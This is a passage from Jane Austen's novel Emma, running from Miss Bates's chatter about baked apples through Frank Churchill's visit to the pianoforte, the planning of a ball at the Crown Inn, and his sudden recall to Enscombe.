Here is the rivet +of your mistress's spectacles out. Then the baked apples came home, +Mrs. Wallis sent them by her boy; they are extremely civil and +obliging to us, the Wallises, always--I have heard some people +say that Mrs. Wallis can be uncivil and give a very rude answer, +but we have never known any thing but the greatest attention +from them. And it cannot be for the value of our custom now, +for what is our consumption of bread, you know? Only three of us.-- +besides dear Jane at present--and she really eats nothing--makes such +a shocking breakfast, you would be quite frightened if you saw it. +I dare not let my mother know how little she eats--so I say one +thing and then I say another, and it passes off. But about the +middle of the day she gets hungry, and there is nothing she likes +so well as these baked apples, and they are extremely wholesome, +for I took the opportunity the other day of asking Mr. Perry; +I happened to meet him in the street. Not that I had any doubt before-- +I have so often heard Mr. Woodhouse recommend a baked apple. +I believe it is the only way that Mr. Woodhouse thinks the +fruit thoroughly wholesome. We have apple-dumplings, however, +very often. Patty makes an excellent apple-dumpling. Well, +Mrs. Weston, you have prevailed, I hope, and these ladies will +oblige us." + +Emma would be "very happy to wait on Mrs. Bates, &c.," and they +did at last move out of the shop, with no farther delay from Miss +Bates than, + +"How do you do, Mrs. Ford? I beg your pardon. I did not see +you before. I hear you have a charming collection of new ribbons +from town. Jane came back delighted yesterday. Thank ye, +the gloves do very well--only a little too large about the wrist; +but Jane is taking them in." + +"What was I talking of?" said she, beginning again when they were +all in the street. + +Emma wondered on what, of all the medley, she would fix. + +"I declare I cannot recollect what I was talking of.--Oh! my +mother's spectacles. So very obliging of Mr. Frank Churchill! +`Oh!' said he, `I do think I can fasten the rivet; I like a job +of this kind excessively.'--Which you know shewed him to be so +very. . . . Indeed I must say that, much as I had heard of him +before and much as I had expected, he very far exceeds any +thing. . . . I do congratulate you, Mrs. Weston, most warmly. +He seems every thing the fondest parent could. . . . `Oh!' said he, +`I can fasten the rivet. I like a job of that sort excessively.' +I never shall forget his manner. And when I brought out the baked +apples from the closet, and hoped our friends would be so very +obliging as to take some, `Oh!' said he directly, `there is nothing +in the way of fruit half so good, and these are the finest-looking +home-baked apples I ever saw in my life.' That, you know, was so +very. . . . And I am sure, by his manner, it was no compliment. +Indeed they are very delightful apples, and Mrs. Wallis does them +full justice--only we do not have them baked more than twice, +and Mr. Woodhouse made us promise to have them done three times-- +but Miss Woodhouse will be so good as not to mention it. The apples +themselves are the very finest sort for baking, beyond a doubt; +all from Donwell--some of Mr. Knightley's most liberal supply. +He sends us a sack every year; and certainly there never was such +a keeping apple anywhere as one of his trees--I believe there +is two of them. My mother says the orchard was always famous +in her younger days. But I was really quite shocked the other day-- +for Mr. Knightley called one morning, and Jane was eating these apples, +and we talked about them and said how much she enjoyed them, +and he asked whether we were not got to the end of our stock. +`I am sure you must be,' said he, `and I will send you +another supply; for I have a great many more than I can ever use. +William Larkins let me keep a larger quantity than usual this year. +I will send you some more, before they get good for nothing.' +So I begged he would not--for really as to ours being gone, I could +not absolutely say that we had a great many left--it was but half +a dozen indeed; but they should be all kept for Jane; and I could +not at all bear that he should be sending us more, so liberal as he +had been already; and Jane said the same. And when he was gone, +she almost quarrelled with me--No, I should not say quarrelled, +for we never had a quarrel in our lives; but she was quite distressed +that I had owned the apples were so nearly gone; she wished I had +made him believe we had a great many left. Oh, said I, my dear, +I did say as much as I could. However, the very same evening +William Larkins came over with a large basket of apples, the same +sort of apples, a bushel at least, and I was very much obliged, +and went down and spoke to William Larkins and said every thing, +as you may suppose. William Larkins is such an old acquaintance! +I am always glad to see him. But, however, I found afterwards +from Patty, that William said it was all the apples of _that_ sort +his master had; he had brought them all--and now his master had not +one left to bake or boil. William did not seem to mind it himself, +he was so pleased to think his master had sold so many; for William, +you know, thinks more of his master's profit than any thing; +but Mrs. Hodges, he said, was quite displeased at their being +all sent away. She could not bear that her master should not be +able to have another apple-tart this spring. He told Patty this, +but bid her not mind it, and be sure not to say any thing to us +about it, for Mrs. Hodges _would_ be cross sometimes, and as long as +so many sacks were sold, it did not signify who ate the remainder. +And so Patty told me, and I was excessively shocked indeed! +I would not have Mr. Knightley know any thing about it for +the world! He would be so very. . . . I wanted to keep it from +Jane's knowledge; but, unluckily, I had mentioned it before I was +aware." + +Miss Bates had just done as Patty opened the door; and her visitors +walked upstairs without having any regular narration to attend to, +pursued only by the sounds of her desultory good-will. + +"Pray take care, Mrs. Weston, there is a step at the turning. +Pray take care, Miss Woodhouse, ours is rather a dark staircase-- +rather darker and narrower than one could wish. Miss Smith, +pray take care. Miss Woodhouse, I am quite concerned, I am sure you +hit your foot. Miss Smith, the step at the turning." + + + +CHAPTER X + + +The appearance of the little sitting-room as they entered, +was tranquillity itself; Mrs. Bates, deprived of her usual employment, +slumbering on one side of the fire, Frank Churchill, at a table +near her, most deedily occupied about her spectacles, and Jane Fairfax, +standing with her back to them, intent on her pianoforte. + +Busy as he was, however, the young man was yet able to shew a most +happy countenance on seeing Emma again. + +"This is a pleasure," said he, in rather a low voice, "coming at +least ten minutes earlier than I had calculated. You find me +trying to be useful; tell me if you think I shall succeed." + +"What!" said Mrs. Weston, "have not you finished it yet? you would +not earn a very good livelihood as a working silversmith at this rate." + +"I have not been working uninterruptedly," he replied, "I have been +assisting Miss Fairfax in trying to make her instrument stand steadily, +it was not quite firm; an unevenness in the floor, I believe. +You see we have been wedging one leg with paper. This was very kind +of you to be persuaded to come. I was almost afraid you would be +hurrying home." + +He contrived that she should be seated by him; and was sufficiently +employed in looking out the best baked apple for her, and trying +to make her help or advise him in his work, till Jane Fairfax was +quite ready to sit down to the pianoforte again. That she was not +immediately ready, Emma did suspect to arise from the state of her nerves; +she had not yet possessed the instrument long enough to touch it +without emotion; she must reason herself into the power of performance; +and Emma could not but pity such feelings, whatever their origin, +and could not but resolve never to expose them to her neighbour again. + +At last Jane began, and though the first bars were feebly given, +the powers of the instrument were gradually done full justice to. +Mrs. Weston had been delighted before, and was delighted again; +Emma joined her in all her praise; and the pianoforte, with every +proper discrimination, was pronounced to be altogether of the +highest promise. + +"Whoever Colonel Campbell might employ," said Frank Churchill, +with a smile at Emma, "the person has not chosen ill. I heard a good +deal of Colonel Campbell's taste at Weymouth; and the softness of the +upper notes I am sure is exactly what he and _all_ _that_ _party_ would +particularly prize. I dare say, Miss Fairfax, that he either gave +his friend very minute directions, or wrote to Broadwood himself. +Do not you think so?" + +Jane did not look round. She was not obliged to hear. Mrs. Weston +had been speaking to her at the same moment. + +"It is not fair," said Emma, in a whisper; "mine was a random guess. +Do not distress her." + +He shook his head with a smile, and looked as if he had very little +doubt and very little mercy. Soon afterwards he began again, + +"How much your friends in Ireland must be enjoying your pleasure +on this occasion, Miss Fairfax. I dare say they often think of you, +and wonder which will be the day, the precise day of the instrument's +coming to hand. Do you imagine Colonel Campbell knows the business +to be going forward just at this time?--Do you imagine it to be +the consequence of an immediate commission from him, or that he may +have sent only a general direction, an order indefinite as to time, +to depend upon contingencies and conveniences?" + +He paused. She could not but hear; she could not avoid answering, + +"Till I have a letter from Colonel Campbell," said she, in a voice +of forced calmness, "I can imagine nothing with any confidence. +It must be all conjecture." + +"Conjecture--aye, sometimes one conjectures right, and sometimes +one conjectures wrong. I wish I could conjecture how soon I shall +make this rivet quite firm. What nonsense one talks, Miss Woodhouse, +when hard at work, if one talks at all;--your real workmen, +I suppose, hold their tongues; but we gentlemen labourers if we get +hold of a word--Miss Fairfax said something about conjecturing. +There, it is done. I have the pleasure, madam, (to Mrs. Bates,) +of restoring your spectacles, healed for the present." + +He was very warmly thanked both by mother and daughter; to escape +a little from the latter, he went to the pianoforte, and begged +Miss Fairfax, who was still sitting at it, to play something more. + +"If you are very kind," said he, "it will be one of the waltzes +we danced last night;--let me live them over again. You did not +enjoy them as I did; you appeared tired the whole time. I believe +you were glad we danced no longer; but I would have given worlds-- +all the worlds one ever has to give--for another half-hour." + +She played. + +"What felicity it is to hear a tune again which _has_ made one happy!-- +If I mistake not that was danced at Weymouth." + +She looked up at him for a moment, coloured deeply, and played +something else. He took some music from a chair near the pianoforte, +and turning to Emma, said, + +"Here is something quite new to me. Do you know it?--Cramer.-- +And here are a new set of Irish melodies. That, from such a quarter, +one might expect. This was all sent with the instrument. Very thoughtful +of Colonel Campbell, was not it?--He knew Miss Fairfax could have +no music here. I honour that part of the attention particularly; +it shews it to have been so thoroughly from the heart. Nothing hastily +done; nothing incomplete. True affection only could have prompted it." + +Emma wished he would be less pointed, yet could not help being amused; +and when on glancing her eye towards Jane Fairfax she caught +the remains of a smile, when she saw that with all the deep blush +of consciousness, there had been a smile of secret delight, +she had less scruple in the amusement, and much less compunction +with respect to her.--This amiable, upright, perfect Jane Fairfax +was apparently cherishing very reprehensible feelings. + +He brought all the music to her, and they looked it over together.-- +Emma took the opportunity of whispering, + +"You speak too plain. She must understand you." + +"I hope she does. I would have her understand me. I am not +in the least ashamed of my meaning." + +"But really, I am half ashamed, and wish I had never taken up +the idea." + +"I am very glad you did, and that you communicated it to me. +I have now a key to all her odd looks and ways. Leave shame to her. +If she does wrong, she ought to feel it." + +"She is not entirely without it, I think." + +"I do not see much sign of it. She is playing _Robin_ _Adair_ +at this moment--_his_ favourite." + +Shortly afterwards Miss Bates, passing near the window, +descried Mr. Knightley on horse-back not far off. + +"Mr. Knightley I declare!--I must speak to him if possible, +just to thank him. I will not open the window here; it would give +you all cold; but I can go into my mother's room you know. I dare +say he will come in when he knows who is here. Quite delightful +to have you all meet so!--Our little room so honoured!" + +She was in the adjoining chamber while she still spoke, and opening +the casement there, immediately called Mr. Knightley's attention, +and every syllable of their conversation was as distinctly heard +by the others, as if it had passed within the same apartment. + +"How d' ye do?--how d'ye do?--Very well, I thank you. So obliged +to you for the carriage last night. We were just in time; +my mother just ready for us. Pray come in; do come in. You will +find some friends here." + +So began Miss Bates; and Mr. Knightley seemed determined to be heard +in his turn, for most resolutely and commandingly did he say, + +"How is your niece, Miss Bates?--I want to inquire after you all, +but particularly your niece. How is Miss Fairfax?--I hope she +caught no cold last night. How is she to-day? Tell me how Miss +Fairfax is." + +And Miss Bates was obliged to give a direct answer before he +would hear her in any thing else. The listeners were amused; +and Mrs. Weston gave Emma a look of particular meaning. But Emma +still shook her head in steady scepticism. + +"So obliged to you!--so very much obliged to you for the carriage," +resumed Miss Bates. + +He cut her short with, + +"I am going to Kingston. Can I do any thing for you?" + +"Oh! dear, Kingston--are you?--Mrs. Cole was saying the other day +she wanted something from Kingston." + +"Mrs. Cole has servants to send. Can I do any thing for _you_?" + +"No, I thank you. But do come in. Who do you think is here?-- +Miss Woodhouse and Miss Smith; so kind as to call to hear the +new pianoforte. Do put up your horse at the Crown, and come in." + +"Well," said he, in a deliberating manner, "for five minutes, perhaps." + +"And here is Mrs. Weston and Mr. Frank Churchill too!--Quite delightful; +so many friends!" + +"No, not now, I thank you. I could not stay two minutes. +I must get on to Kingston as fast as I can." + +"Oh! do come in. They will be so very happy to see you." + +"No, no; your room is full enough. I will call another day, +and hear the pianoforte." + +"Well, I am so sorry!--Oh! Mr. Knightley, what a delightful party +last night; how extremely pleasant.--Did you ever see such dancing?-- +Was not it delightful?--Miss Woodhouse and Mr. Frank Churchill; +I never saw any thing equal to it." + +"Oh! very delightful indeed; I can say nothing less, for I suppose +Miss Woodhouse and Mr. Frank Churchill are hearing every thing +that passes. And (raising his voice still more) I do not see why Miss +Fairfax should not be mentioned too. I think Miss Fairfax dances +very well; and Mrs. Weston is the very best country-dance player, +without exception, in England. Now, if your friends have any gratitude, +they will say something pretty loud about you and me in return; +but I cannot stay to hear it." + +"Oh! Mr. Knightley, one moment more; something of consequence-- +so shocked!--Jane and I are both so shocked about the apples!" + +"What is the matter now?" + +"To think of your sending us all your store apples. You said you had +a great many, and now you have not one left. We really are so shocked! +Mrs. Hodges may well be angry. William Larkins mentioned it here. +You should not have done it, indeed you should not. Ah! he is off. +He never can bear to be thanked. But I thought he would have staid now, +and it would have been a pity not to have mentioned. . . . Well, +(returning to the room,) I have not been able to succeed. +Mr. Knightley cannot stop. He is going to Kingston. He asked me +if he could do any thing. . . ." + +"Yes," said Jane, "we heard his kind offers, we heard every thing." + +"Oh! yes, my dear, I dare say you might, because you know, the door +was open, and the window was open, and Mr. Knightley spoke loud. +You must have heard every thing to be sure. `Can I do any thing +for you at Kingston?' said he; so I just mentioned. . . . Oh! +Miss Woodhouse, must you be going?--You seem but just come--so very +obliging of you." + +Emma found it really time to be at home; the visit had already +lasted long; and on examining watches, so much of the morning was +perceived to be gone, that Mrs. Weston and her companion taking +leave also, could allow themselves only to walk with the two young +ladies to Hartfield gates, before they set off for Randalls. + + + +CHAPTER XI + + +It may be possible to do without dancing entirely. Instances have +been known of young people passing many, many months successively, +without being at any ball of any description, and no material injury +accrue either to body or mind;--but when a beginning is made-- +when the felicities of rapid motion have once been, though slightly, +felt--it must be a very heavy set that does not ask for more. + +Frank Churchill had danced once at Highbury, and longed to dance again; +and the last half-hour of an evening which Mr. Woodhouse was persuaded +to spend with his daughter at Randalls, was passed by the two young +people in schemes on the subject. Frank's was the first idea; +and his the greatest zeal in pursuing it; for the lady was the best +judge of the difficulties, and the most solicitous for accommodation +and appearance. But still she had inclination enough for shewing +people again how delightfully Mr. Frank Churchill and Miss +Woodhouse danced--for doing that in which she need not blush to compare +herself with Jane Fairfax--and even for simple dancing itself, +without any of the wicked aids of vanity--to assist him first +in pacing out the room they were in to see what it could be made +to hold--and then in taking the dimensions of the other parlour, +in the hope of discovering, in spite of all that Mr. Weston could +say of their exactly equal size, that it was a little the largest. + +His first proposition and request, that the dance begun at Mr. Cole's +should be finished there--that the same party should be collected, +and the same musician engaged, met with the readiest acquiescence. +Mr. Weston entered into the idea with thorough enjoyment, +and Mrs. Weston most willingly undertook to play as long as they +could wish to dance; and the interesting employment had followed, +of reckoning up exactly who there would be, and portioning out the +indispensable division of space to every couple. + +"You and Miss Smith, and Miss Fairfax, will be three, and the two +Miss Coxes five," had been repeated many times over. "And there +will be the two Gilberts, young Cox, my father, and myself, +besides Mr. Knightley. Yes, that will be quite enough for pleasure. +You and Miss Smith, and Miss Fairfax, will be three, and the two Miss +Coxes five; and for five couple there will be plenty of room." + +But soon it came to be on one side, + +"But will there be good room for five couple?--I really do not think +there will." + +On another, + +"And after all, five couple are not enough to make it worth +while to stand up. Five couple are nothing, when one thinks +seriously about it. It will not do to _invite_ five couple. +It can be allowable only as the thought of the moment." + +Somebody said that _Miss_ Gilbert was expected at her brother's, +and must be invited with the rest. Somebody else believed +_Mrs_. Gilbert would have danced the other evening, if she had +been asked. A word was put in for a second young Cox; and at last, +Mr. Weston naming one family of cousins who must be included, +and another of very old acquaintance who could not be left out, +it became a certainty that the five couple would be at least ten, +and a very interesting speculation in what possible manner they +could be disposed of. + +The doors of the two rooms were just opposite each other. +"Might not they use both rooms, and dance across the passage?" +It seemed the best scheme; and yet it was not so good but that +many of them wanted a better. Emma said it would be awkward; +Mrs. Weston was in distress about the supper; and Mr. Woodhouse +opposed it earnestly, on the score of health. It made him so +very unhappy, indeed, that it could not be persevered in. + +"Oh! no," said he; "it would be the extreme of imprudence. +I could not bear it for Emma!--Emma is not strong. She would +catch a dreadful cold. So would poor little Harriet. +So you would all. Mrs. Weston, you would be quite laid up; +do not let them talk of such a wild thing. Pray do not let them +talk of it. That young man (speaking lower) is very thoughtless. +Do not tell his father, but that young man is not quite the thing. +He has been opening the doors very often this evening, and keeping +them open very inconsiderately. He does not think of the draught. +I do not mean to set you against him, but indeed he is not quite +the thing!" + +Mrs. Weston was sorry for such a charge. She knew the importance +of it, and said every thing in her power to do it away. Every door +was now closed, the passage plan given up, and the first scheme +of dancing only in the room they were in resorted to again; +and with such good-will on Frank Churchill's part, that the space +which a quarter of an hour before had been deemed barely sufficient +for five couple, was now endeavoured to be made out quite enough +for ten. + +"We were too magnificent," said he. "We allowed unnecessary room. +Ten couple may stand here very well." + +Emma demurred. "It would be a crowd--a sad crowd; and what could +be worse than dancing without space to turn in?" + +"Very true," he gravely replied; "it was very bad." But still he +went on measuring, and still he ended with, + +"I think there will be very tolerable room for ten couple." + +"No, no," said she, "you are quite unreasonable. It would be dreadful +to be standing so close! Nothing can be farther from pleasure +than to be dancing in a crowd--and a crowd in a little room!" + +"There is no denying it," he replied. "I agree with you exactly. +A crowd in a little room--Miss Woodhouse, you have the art of giving +pictures in a few words. Exquisite, quite exquisite!--Still, however, +having proceeded so far, one is unwilling to give the matter up. +It would be a disappointment to my father--and altogether--I do +not know that--I am rather of opinion that ten couple might stand +here very well." + +Emma perceived that the nature of his gallantry was a little +self-willed, and that he would rather oppose than lose the pleasure +of dancing with her; but she took the compliment, and forgave +the rest. Had she intended ever to _marry_ him, it might have been +worth while to pause and consider, and try to understand the value +of his preference, and the character of his temper; but for +all the purposes of their acquaintance, he was quite amiable enough. + +Before the middle of the next day, he was at Hartfield; and he entered +the room with such an agreeable smile as certified the continuance +of the scheme. It soon appeared that he came to announce an improvement. + +"Well, Miss Woodhouse," he almost immediately began, "your inclination +for dancing has not been quite frightened away, I hope, by the +terrors of my father's little rooms. I bring a new proposal +on the subject:--a thought of my father's, which waits only your +approbation to be acted upon. May I hope for the honour of your +hand for the two first dances of this little projected ball, +to be given, not at Randalls, but at the Crown Inn?" + +"The Crown!" + +"Yes; if you and Mr. Woodhouse see no objection, and I trust you cannot, +my father hopes his friends will be so kind as to visit him there. +Better accommodations, he can promise them, and not a less grateful +welcome than at Randalls. It is his own idea. Mrs. Weston sees +no objection to it, provided you are satisfied. This is what we +all feel. Oh! you were perfectly right! Ten couple, in either of +the Randalls rooms, would have been insufferable!--Dreadful!--I felt +how right you were the whole time, but was too anxious for securing +_any_ _thing_ to like to yield. Is not it a good exchange?--You consent-- +I hope you consent?" + +"It appears to me a plan that nobody can object to, if Mr. and +Mrs. Weston do not. I think it admirable; and, as far as I can +answer for myself, shall be most happy--It seems the only improvement +that could be. Papa, do you not think it an excellent improvement?" + +She was obliged to repeat and explain it, before it was fully +comprehended; and then, being quite new, farther representations +were necessary to make it acceptable. + +"No; he thought it very far from an improvement--a very bad plan-- +much worse than the other. A room at an inn was always damp +and dangerous; never properly aired, or fit to be inhabited. +If they must dance, they had better dance at Randalls. He had never +been in the room at the Crown in his life--did not know the people +who kept it by sight.--Oh! no--a very bad plan. They would catch +worse colds at the Crown than anywhere." + +"I was going to observe, sir," said Frank Churchill, +"that one of the great recommendations of this change would +be the very little danger of any body's catching cold-- +so much less danger at the Crown than at Randalls! Mr. Perry +might have reason to regret the alteration, but nobody else could." + +"Sir," said Mr. Woodhouse, rather warmly, "you are very much +mistaken if you suppose Mr. Perry to be that sort of character. +Mr. Perry is extremely concerned when any of us are ill. But I +do not understand how the room at the Crown can be safer for you +than your father's house." + +"From the very circumstance of its being larger, sir. We shall have +no occasion to open the windows at all--not once the whole evening; +and it is that dreadful habit of opening the windows, letting in cold +air upon heated bodies, which (as you well know, sir) does the mischief." + +"Open the windows!--but surely, Mr. Churchill, nobody would think +of opening the windows at Randalls. Nobody could be so imprudent! +I never heard of such a thing. Dancing with open windows!--I am sure, +neither your father nor Mrs. Weston (poor Miss Taylor that was) +would suffer it." + +"Ah! sir--but a thoughtless young person will sometimes step behind +a window-curtain, and throw up a sash, without its being suspected. +I have often known it done myself." + +"Have you indeed, sir?--Bless me! I never could have supposed it. +But I live out of the world, and am often astonished at what I hear. +However, this does make a difference; and, perhaps, when we come +to talk it over--but these sort of things require a good deal +of consideration. One cannot resolve upon them in a hurry. +If Mr. and Mrs. Weston will be so obliging as to call here one morning, +we may talk it over, and see what can be done." + +"But, unfortunately, sir, my time is so limited--" + +"Oh!" interrupted Emma, "there will be plenty of time for talking +every thing over. There is no hurry at all. If it can be contrived +to be at the Crown, papa, it will be very convenient for the horses. +They will be so near their own stable." + +"So they will, my dear. That is a great thing. Not that James +ever complains; but it is right to spare our horses when we can. +If I could be sure of the rooms being thoroughly aired--but is +Mrs. Stokes to be trusted? I doubt it. I do not know her, +even by sight." + +"I can answer for every thing of that nature, sir, because it will +be under Mrs. Weston's care. Mrs. Weston undertakes to direct +the whole." + +"There, papa!--Now you must be satisfied--Our own dear Mrs. Weston, +who is carefulness itself. Do not you remember what Mr. Perry said, +so many years ago, when I had the measles? `If _Miss_ _Taylor_ undertakes +to wrap Miss Emma up, you need not have any fears, sir.' How often +have I heard you speak of it as such a compliment to her!" + +"Aye, very true. Mr. Perry did say so. I shall never forget it. +Poor little Emma! You were very bad with the measles; that is, +you would have been very bad, but for Perry's great attention. +He came four times a day for a week. He said, from the first, +it was a very good sort--which was our great comfort; but the measles +are a dreadful complaint. I hope whenever poor Isabella's little ones +have the measles, she will send for Perry." + +"My father and Mrs. Weston are at the Crown at this moment," +said Frank Churchill, "examining the capabilities of the house. +I left them there and came on to Hartfield, impatient for your opinion, +and hoping you might be persuaded to join them and give your advice +on the spot. I was desired to say so from both. It would be the +greatest pleasure to them, if you could allow me to attend you there. +They can do nothing satisfactorily without you." + +Emma was most happy to be called to such a council; and her father, +engaging to think it all over while she was gone, the two young +people set off together without delay for the Crown. There were +Mr. and Mrs. Weston; delighted to see her and receive her approbation, +very busy and very happy in their different way; she, in some +little distress; and he, finding every thing perfect. + +"Emma," said she, "this paper is worse than I expected. +Look! in places you see it is dreadfully dirty; and the wainscot +is more yellow and forlorn than any thing I could have imagined." + +"My dear, you are too particular," said her husband. "What does +all that signify? You will see nothing of it by candlelight. +It will be as clean as Randalls by candlelight. We never see any +thing of it on our club-nights." + +The ladies here probably exchanged looks which meant, "Men never +know when things are dirty or not;" and the gentlemen perhaps +thought each to himself, "Women will have their little nonsenses +and needless cares." + +One perplexity, however, arose, which the gentlemen did not disdain. +It regarded a supper-room. At the time of the ballroom's being built, +suppers had not been in question; and a small card-room adjoining, +was the only addition. What was to be done? This card-room would +be wanted as a card-room now; or, if cards were conveniently voted +unnecessary by their four selves, still was it not too small for +any comfortable supper? Another room of much better size might be +secured for the purpose; but it was at the other end of the house, +and a long awkward passage must be gone through to get at it. +This made a difficulty. Mrs. Weston was afraid of draughts +for the young people in that passage; and neither Emma nor the +gentlemen could tolerate the prospect of being miserably crowded +at supper. + +Mrs. Weston proposed having no regular supper; merely sandwiches, +&c., set out in the little room; but that was scouted as a +wretched suggestion. A private dance, without sitting down to supper, +was pronounced an infamous fraud upon the rights of men and women; +and Mrs. Weston must not speak of it again. She then took another +line of expediency, and looking into the doubtful room, observed, + +"I do not think it _is_ so very small. We shall not be many, +you know." + +And Mr. Weston at the same time, walking briskly with long steps +through the passage, was calling out, + +"You talk a great deal of the length of this passage, my dear. +It is a mere nothing after all; and not the least draught from +the stairs." + +"I wish," said Mrs. Weston, "one could know which arrangement our +guests in general would like best. To do what would be most generally +pleasing must be our object--if one could but tell what that would be." + +"Yes, very true," cried Frank, "very true. You want your neighbours' +opinions. I do not wonder at you. If one could ascertain what the +chief of them--the Coles, for instance. They are not far off. +Shall I call upon them? Or Miss Bates? She is still nearer.-- +And I do not know whether Miss Bates is not as likely to understand +the inclinations of the rest of the people as any body. I think +we do want a larger council. Suppose I go and invite Miss Bates +to join us?" + +"Well--if you please," said Mrs. Weston rather hesitating, "if you +think she will be of any use." + +"You will get nothing to the purpose from Miss Bates," said Emma. +"She will be all delight and gratitude, but she will tell you nothing. +She will not even listen to your questions. I see no advantage in +consulting Miss Bates." + +"But she is so amusing, so extremely amusing! I am very fond +of hearing Miss Bates talk. And I need not bring the whole family, +you know." + +Here Mr. Weston joined them, and on hearing what was proposed, +gave it his decided approbation. + +"Aye, do, Frank.--Go and fetch Miss Bates, and let us end the matter +at once. She will enjoy the scheme, I am sure; and I do not know +a properer person for shewing us how to do away difficulties. +Fetch Miss Bates. We are growing a little too nice. She is +a standing lesson of how to be happy. But fetch them both. +Invite them both." + +"Both sir! Can the old lady?" . . . + +"The old lady! No, the young lady, to be sure. I shall think you +a great blockhead, Frank, if you bring the aunt without the niece." + +"Oh! I beg your pardon, sir. I did not immediately recollect. +Undoubtedly if you wish it, I will endeavour to persuade them both." +And away he ran. + +Long before he reappeared, attending the short, neat, brisk-moving aunt, +and her elegant niece,--Mrs. Weston, like a sweet-tempered +woman and a good wife, had examined the passage again, +and found the evils of it much less than she had supposed before-- +indeed very trifling; and here ended the difficulties of decision. +All the rest, in speculation at least, was perfectly smooth. +All the minor arrangements of table and chair, lights and music, +tea and supper, made themselves; or were left as mere trifles +to be settled at any time between Mrs. Weston and Mrs. Stokes.-- +Every body invited, was certainly to come; Frank had already written +to Enscombe to propose staying a few days beyond his fortnight, +which could not possibly be refused. And a delightful dance it was +to be. + +Most cordially, when Miss Bates arrived, did she agree that it must. +As a counsellor she was not wanted; but as an approver, (a much +safer character,) she was truly welcome. Her approbation, at once +general and minute, warm and incessant, could not but please; +and for another half-hour they were all walking to and fro, +between the different rooms, some suggesting, some attending, +and all in happy enjoyment of the future. The party did not break +up without Emma's being positively secured for the two first dances +by the hero of the evening, nor without her overhearing Mr. Weston +whisper to his wife, "He has asked her, my dear. That's right. +I knew he would!" + + + +CHAPTER XII + + +One thing only was wanting to make the prospect of the ball +completely satisfactory to Emma--its being fixed for a day within +the granted term of Frank Churchill's stay in Surry; for, in spite +of Mr. Weston's confidence, she could not think it so very impossible +that the Churchills might not allow their nephew to remain +a day beyond his fortnight. But this was not judged feasible. +The preparations must take their time, nothing could be properly +ready till the third week were entered on, and for a few days they +must be planning, proceeding and hoping in uncertainty--at the risk-- +in her opinion, the great risk, of its being all in vain. + +Enscombe however was gracious, gracious in fact, if not in word. +His wish of staying longer evidently did not please; but it was +not opposed. All was safe and prosperous; and as the removal of one +solicitude generally makes way for another, Emma, being now certain +of her ball, began to adopt as the next vexation Mr. Knightley's +provoking indifference about it. Either because he did not +dance himself, or because the plan had been formed without his +being consulted, he seemed resolved that it should not interest him, +determined against its exciting any present curiosity, or affording +him any future amusement. To her voluntary communications Emma +could get no more approving reply, than, + +"Very well. If the Westons think it worth while to be at all this +trouble for a few hours of noisy entertainment, I have nothing +to say against it, but that they shall not chuse pleasures for me.-- +Oh! yes, I must be there; I could not refuse; and I will keep +as much awake as I can; but I would rather be at home, looking over +William Larkins's week's account; much rather, I confess.-- +Pleasure in seeing dancing!--not I, indeed--I never look at it-- +I do not know who does.--Fine dancing, I believe, like virtue, +must be its own reward. Those who are standing by are usually +thinking of something very different." + +This Emma felt was aimed at her; and it made her quite angry. +It was not in compliment to Jane Fairfax however that he was +so indifferent, or so indignant; he was not guided by _her_ feelings +in reprobating the ball, for _she_ enjoyed the thought of it +to an extraordinary degree. It made her animated--open hearted-- +she voluntarily said;-- + +"Oh! Miss Woodhouse, I hope nothing may happen to prevent the ball. +What a disappointment it would be! I do look forward to it, I own, +with _very_ great pleasure." + +It was not to oblige Jane Fairfax therefore that he would have +preferred the society of William Larkins. No!--she was more and more +convinced that Mrs. Weston was quite mistaken in that surmise. +There was a great deal of friendly and of compassionate attachment +on his side--but no love. + +Alas! there was soon no leisure for quarrelling with Mr. Knightley. +Two days of joyful security were immediately followed by the +over-throw of every thing. A letter arrived from Mr. Churchill +to urge his nephew's instant return. Mrs. Churchill was unwell-- +far too unwell to do without him; she had been in a very suffering +state (so said her husband) when writing to her nephew two days before, +though from her usual unwillingness to give pain, and constant +habit of never thinking of herself, she had not mentioned it; +but now she was too ill to trifle, and must entreat him to set off +for Enscombe without delay. + +The substance of this letter was forwarded to Emma, in a note +from Mrs. Weston, instantly. As to his going, it was inevitable. +He must be gone within a few hours, though without feeling any real +alarm for his aunt, to lessen his repugnance. He knew her illnesses; +they never occurred but for her own convenience. + +Mrs. Weston added, "that he could only allow himself time to +hurry to Highbury, after breakfast, and take leave of the few +friends there whom he could suppose to feel any interest in him; +and that he might be expected at Hartfield very soon." + +This wretched note was the finale of Emma's breakfast. When once +it had been read, there was no doing any thing, but lament +and exclaim. The loss of the ball--the loss of the young man-- +and all that the young man might be feeling!--It was too wretched!-- +Such a delightful evening as it would have been!--Every body so happy! +and she and her partner the happiest!--"I said it would be so," +was the only consolation. + +Her father's feelings were quite distinct. He thought principally +of Mrs. Churchill's illness, and wanted to know how she was treated; +and as for the ball, it was shocking to have dear Emma disappointed; +but they would all be safer at home. + +Emma was ready for her visitor some time before he appeared; +but if this reflected at all upon his impatience, his sorrowful +look and total want of spirits when he did come might redeem him. +He felt the going away almost too much to speak of it. His dejection +was most evident. He sat really lost in thought for the first +few minutes; and when rousing himself, it was only to say, + +"Of all horrid things, leave-taking is the worst." + +"But you will come again," said Emma. "This will not be your only +visit to Randalls." + +"Ah!--(shaking his head)--the uncertainty of when I may be able +to return!--I shall try for it with a zeal!--It will be the object +of all my thoughts and cares!--and if my uncle and aunt go to town +this spring--but I am afraid--they did not stir last spring-- +I am afraid it is a custom gone for ever." + +"Our poor ball must be quite given up." + +"Ah! that ball!--why did we wait for any thing?--why not seize the +pleasure at once?--How often is happiness destroyed by preparation, +foolish preparation!--You told us it would be so.--Oh! Miss Woodhouse, +why are you always so right?" + +"Indeed, I am very sorry to be right in this instance. I would +much rather have been merry than wise." + +"If I can come again, we are still to have our ball. My father +depends on it. Do not forget your engagement." + +Emma looked graciously. + +"Such a fortnight as it has been!" he continued; "every day more +precious and more delightful than the day before!--every day making +me less fit to bear any other place. Happy those, who can remain +at Highbury!" + +"As you do us such ample justice now," said Emma, laughing, "I will +venture to ask, whether you did not come a little doubtfully at first? +Do not we rather surpass your expectations? I am sure we do. +I am sure you did not much expect to like us. You would not have been +so long in coming, if you had had a pleasant idea of Highbury." + +He laughed rather consciously; and though denying the sentiment, +Emma was convinced that it had been so. + +"And you must be off this very morning?" + +"Yes; my father is to join me here: we shall walk back together, +and I must be off immediately. I am almost afraid that every moment +will bring him." + +"Not five minutes to spare even for your friends Miss Fairfax and +Miss Bates? How unlucky! Miss Bates's powerful, argumentative mind +might have strengthened yours." + +"Yes--I _have_ called there; passing the door, I thought it better. +It was a right thing to do. I went in for three 